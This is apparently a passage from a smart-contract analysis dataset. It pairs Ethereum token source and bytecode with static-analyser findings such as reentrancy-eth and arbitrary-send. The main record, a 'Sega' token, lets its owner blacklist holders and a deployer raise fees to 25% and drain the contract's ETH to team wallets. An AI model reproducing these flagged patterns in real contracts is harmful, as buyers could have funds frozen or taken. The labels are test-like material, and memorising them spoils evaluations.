0000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec21179fd7d4dc4bea0a6538bf5988d67ab9cd620cbe9dd607710d388048db3364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,869
0x2c04b7cf3853e1ac7f41ff0b994714cacf126d10
/** *Submitted for verification at Etherscan.io on 2021-10-11 */ /** *Submitted for verification at Etherscan.io on 2021-10-10 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Sega is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Sega"; string private constant _symbol = "SEGA"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; // 2% reflection fee for every holder uint256 private _teamFee = 10; // 10% Marketing uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _numOfTokensToExchangeForTeam = 5000 * 10**9; uint256 private _routermax = 50000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _Marketingfund; address payable private _Deployer; address payable private _devWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable devFundAddr, address payable devfeeAddr, address payable depAddr) { _Marketingfund = devFundAddr; _Deployer = depAddr; _devWalletAddress = devfeeAddr; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_Marketingfund] = true; _isExcludedFromFee[_devWalletAddress] = true; _isExcludedFromFee[_Deployer] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } if(from != address(this)){ require(amount <= _maxTxAmount); } require(!bots[from] && !bots[to] && !bots[msg.sender]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } // This is done to prevent the taxes from filling up in the router since compiled taxes emptying can impact the chart. // This reduces the impact of taxes on the chart. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _Marketingfund.transfer(amount.div(10).mul(6)); _devWalletAddress.transfer(amount.div(10).mul(4)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 250000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external { require(_msgSender() == _Deployer); swapEnabled = enabled; } function manualswap() external { require(_msgSender() == _Deployer); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _Deployer); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner() { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner() { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external { require(_msgSender() == _Deployer); require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external { require(_msgSender() == _Deployer); require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setTeamFee(uint256 teamFee) external { require(_msgSender() == _Deployer); require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _teamFee = teamFee; } }
0x60806040526004361061014f5760003560e01c806395d89b41116100b6578063cba0e9961161006f578063cba0e996146103b6578063d00efb2f146103ef578063d543dbeb14610405578063dd62ed3e14610425578063e01af92c1461046b578063e47d60601461048b57600080fd5b806395d89b41146102ff578063a9059cbb1461032c578063b515566a1461034c578063c0e6b46e1461036c578063c3c8cd801461038c578063c9567bf9146103a157600080fd5b8063313ce56711610108578063313ce567146102515780635932ead11461026d5780636fc3eaec1461028d57806370a08231146102a2578063715018a6146102c25780638da5cb5b146102d757600080fd5b806306fdde031461015b578063095ea7b31461019a57806318160ddd146101ca57806323b872dd146101ef578063273123b71461020f578063286671621461023157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506040805180820190915260048152635365676160e01b60208201525b6040516101919190611cd8565b60405180910390f35b3480156101a657600080fd5b506101ba6101b5366004611b69565b6104c4565b6040519015158152602001610191565b3480156101d657600080fd5b50678ac7230489e800005b604051908152602001610191565b3480156101fb57600080fd5b506101ba61020a366004611b29565b6104db565b34801561021b57600080fd5b5061022f61022a366004611ab9565b610544565b005b34801561023d57600080fd5b5061022f61024c366004611c93565b610598565b34801561025d57600080fd5b5060405160098152602001610191565b34801561027957600080fd5b5061022f610288366004611c5b565b61061b565b34801561029957600080fd5b5061022f610663565b3480156102ae57600080fd5b506101e16102bd366004611ab9565b610690565b3480156102ce57600080fd5b5061022f6106b2565b3480156102e357600080fd5b506000546040516001600160a01b039091168152602001610191565b34801561030b57600080fd5b506040805180820190915260048152635345474160e01b6020820152610184565b34801561033857600080fd5b506101ba610347366004611b69565b610726565b34801561035857600080fd5b5061022f610367366004611b94565b610733565b34801561037857600080fd5b5061022f610387366004611c93565b6107d7565b34801561039857600080fd5b5061022f61086b565b3480156103ad57600080fd5b5061022f6108a1565b3480156103c257600080fd5b506101ba6103d1366004611ab9565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103fb57600080fd5b506101e160165481565b34801561041157600080fd5b5061022f610420366004611c93565b610c66565b34801561043157600080fd5b506101e1610440366004611af1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047757600080fd5b5061022f610486366004611c5b565b610d28565b34801561049757600080fd5b506101ba6104a6366004611ab9565b6001600160a01b03166000908152600e602052604090205460ff1690565b60006104d1338484610d66565b5060015b92915050565b60006104e8848484610e8a565b61053a843361053585604051806060016040528060288152602001611ea9602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611301565b610d66565b5060019392505050565b6000546001600160a01b031633146105775760405162461bcd60e51b815260040161056e90611d2b565b60405180910390fd5b6001600160a01b03166000908152600e60205260409020805460ff19169055565b6011546001600160a01b0316336001600160a01b0316146105b857600080fd5b600181101580156105ca575060198111155b6106165760405162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2031202d2032350000000000604482015260640161056e565b600955565b6000546001600160a01b031633146106455760405162461bcd60e51b815260040161056e90611d2b565b60148054911515600160b81b0260ff60b81b19909216919091179055565b6011546001600160a01b0316336001600160a01b03161461068357600080fd5b4761068d8161133b565b50565b6001600160a01b0381166000908152600260205260408120546104d5906113d0565b6000546001600160a01b031633146106dc5760405162461bcd60e51b815260040161056e90611d2b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104d1338484610e8a565b6000546001600160a01b0316331461075d5760405162461bcd60e51b815260040161056e90611d2b565b60005b81518110156107d3576001600e600084848151811061078f57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107cb81611e3e565b915050610760565b5050565b6011546001600160a01b0316336001600160a01b0316146107f757600080fd5b600081116108475760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161056e565b61086561271061085f678ac7230489e8000084611454565b906114d3565b600d5550565b6011546001600160a01b0316336001600160a01b03161461088b57600080fd5b600061089630610690565b905061068d81611515565b6000546001600160a01b031633146108cb5760405162461bcd60e51b815260040161056e90611d2b565b601454600160a01b900460ff16156109255760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161056e565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109613082678ac7230489e80000610d66565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561099a57600080fd5b505afa1580156109ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d29190611ad5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a1a57600080fd5b505afa158015610a2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a529190611ad5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a9a57600080fd5b505af1158015610aae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad29190611ad5565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610b0281610690565b600080610b176000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610b7a57600080fd5b505af1158015610b8e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bb39190611cab565b5050601480546703782dace9d900006015554360165563ffff00ff60a01b1981166201000160a01b1790915560135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610c2e57600080fd5b505af1158015610c42573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d39190611c77565b6011546001600160a01b0316336001600160a01b031614610c8657600080fd5b60008111610cd65760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161056e565b610ced606461085f678ac7230489e8000084611454565b60158190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6011546001600160a01b0316336001600160a01b031614610d4857600080fd5b60148054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610dc85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161056e565b6001600160a01b038216610e295760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161056e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610eee5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161056e565b6001600160a01b038216610f505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161056e565b60008111610fb25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161056e565b6000546001600160a01b03848116911614801590610fde57506000546001600160a01b03838116911614155b156112a457601454600160b81b900460ff16156110c5576001600160a01b038316301480159061101757506001600160a01b0382163014155b801561103157506013546001600160a01b03848116911614155b801561104b57506013546001600160a01b03838116911614155b156110c5576013546001600160a01b0316336001600160a01b0316148061108557506014546001600160a01b0316336001600160a01b0316145b6110c55760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161056e565b6001600160a01b03831630146110e4576015548111156110e457600080fd5b6001600160a01b0383166000908152600e602052604090205460ff1615801561112657506001600160a01b0382166000908152600e602052604090205460ff16155b80156111425750336000908152600e602052604090205460ff16155b61114b57600080fd5b6014546001600160a01b03848116911614801561117657506013546001600160a01b03838116911614155b801561119b57506001600160a01b03821660009081526005602052604090205460ff16155b80156111b05750601454600160b81b900460ff165b156111fe576001600160a01b0382166000908152600f602052604090205442116111d957600080fd5b6111e442600f611dd0565b6001600160a01b0383166000908152600f60205260409020555b600061120930610690565b9050600d5481106112195750600d545b600c546014549082101590600160a81b900460ff161580156112445750601454600160b01b900460ff165b801561124d5750805b801561126757506014546001600160a01b03868116911614155b801561128157506013546001600160a01b03868116911614155b156112a15761128f82611515565b47801561129f5761129f4761133b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112e657506001600160a01b03831660009081526005602052604090205460ff165b156112ef575060005b6112fb848484846116ba565b50505050565b600081848411156113255760405162461bcd60e51b815260040161056e9190611cd8565b5060006113328486611e27565b95945050505050565b6010546001600160a01b03166108fc611360600661135a85600a6114d3565b90611454565b6040518115909202916000818181858888f19350505050158015611388573d6000803e3d6000fd5b506012546001600160a01b03166108fc6113a8600461135a85600a6114d3565b6040518115909202916000818181858888f193505050501580156107d3573d6000803e3d6000fd5b60006006548211156114375760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161056e565b60006114416116e8565b905061144d83826114d3565b9392505050565b600082611463575060006104d5565b600061146f8385611e08565b90508261147c8583611de8565b1461144d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161056e565b600061144d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061170b565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061156b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115bf57600080fd5b505afa1580156115d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115f79190611ad5565b8160018151811061161857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260135461163e9130911684610d66565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611677908590600090869030904290600401611d60565b600060405180830381600087803b15801561169157600080fd5b505af11580156116a5573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806116c7576116c7611739565b6116d2848484611767565b806112fb576112fb600a54600855600b54600955565b60008060006116f561185e565b909250905061170482826114d3565b9250505090565b6000818361172c5760405162461bcd60e51b815260040161056e9190611cd8565b5060006113328486611de8565b6008541580156117495750600954155b1561175057565b60088054600a5560098054600b5560009182905555565b6000806000806000806117798761189e565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117ab90876118fb565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117da908661193d565b6001600160a01b0389166000908152600260205260409020556117fc8161199c565b61180684836119e6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161184b91815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061187982826114d3565b82101561189557505060065492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006118bb8a600854600954611a0a565b92509250925060006118cb6116e8565b905060008060006118de8e878787611a59565b919e509c509a509598509396509194505050505091939550919395565b600061144d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611301565b60008061194a8385611dd0565b90508381101561144d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161056e565b60006119a66116e8565b905060006119b48383611454565b306000908152600260205260409020549091506119d1908261193d565b30600090815260026020526040902055505050565b6006546119f390836118fb565b600655600754611a03908261193d565b6007555050565b6000808080611a1e606461085f8989611454565b90506000611a31606461085f8a89611454565b90506000611a4982611a438b866118fb565b906118fb565b9992985090965090945050505050565b6000808080611a688886611454565b90506000611a768887611454565b90506000611a848888611454565b90506000611a9682611a4386866118fb565b939b939a50919850919650505050505050565b8035611ab481611e85565b919050565b600060208284031215611aca578081fd5b813561144d81611e85565b600060208284031215611ae6578081fd5b815161144d81611e85565b60008060408385031215611b03578081fd5b8235611b0e81611e85565b91506020830135611b1e81611e85565b809150509250929050565b600080600060608486031215611b3d578081fd5b8335611b4881611e85565b92506020840135611b5881611e85565b929592945050506040919091013590565b60008060408385031215611b7b578182fd5b8235611b8681611e85565b946020939093013593505050565b60006020808385031215611ba6578182fd5b823567ffffffffffffffff80821115611bbd578384fd5b818501915085601f830112611bd0578384fd5b813581811115611be257611be2611e6f565b8060051b604051601f19603f83011681018181108582111715611c0757611c07611e6f565b604052828152858101935084860182860187018a1015611c25578788fd5b8795505b83861015611c4e57611c3a81611aa9565b855260019590950194938601938601611c29565b5098975050505050505050565b600060208284031215611c6c578081fd5b813561144d81611e9a565b600060208284031215611c88578081fd5b815161144d81611e9a565b600060208284031215611ca4578081fd5b5035919050565b600080600060608486031215611cbf578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611d0457858101830151858201604001528201611ce8565b81811115611d155783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611daf5784516001600160a01b031683529383019391830191600101611d8a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611de357611de3611e59565b500190565b600082611e0357634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e2257611e22611e59565b500290565b600082821015611e3957611e39611e59565b500390565b6000600019821415611e5257611e52611e59565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461068d57600080fd5b801515811461068d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220649952eb54fdfea093185fefafff4ead81f8038d2164b8461ef35009bdcac36464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,870
0x3f3a3b42e4564b20948307de9bb5b66398c325fa
pragma solidity ^0.4.21; /* ************************************************ */ /* ********** Zeppelin Solidity - v1.5.0 ********** */ /* ************************************************ */ /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is 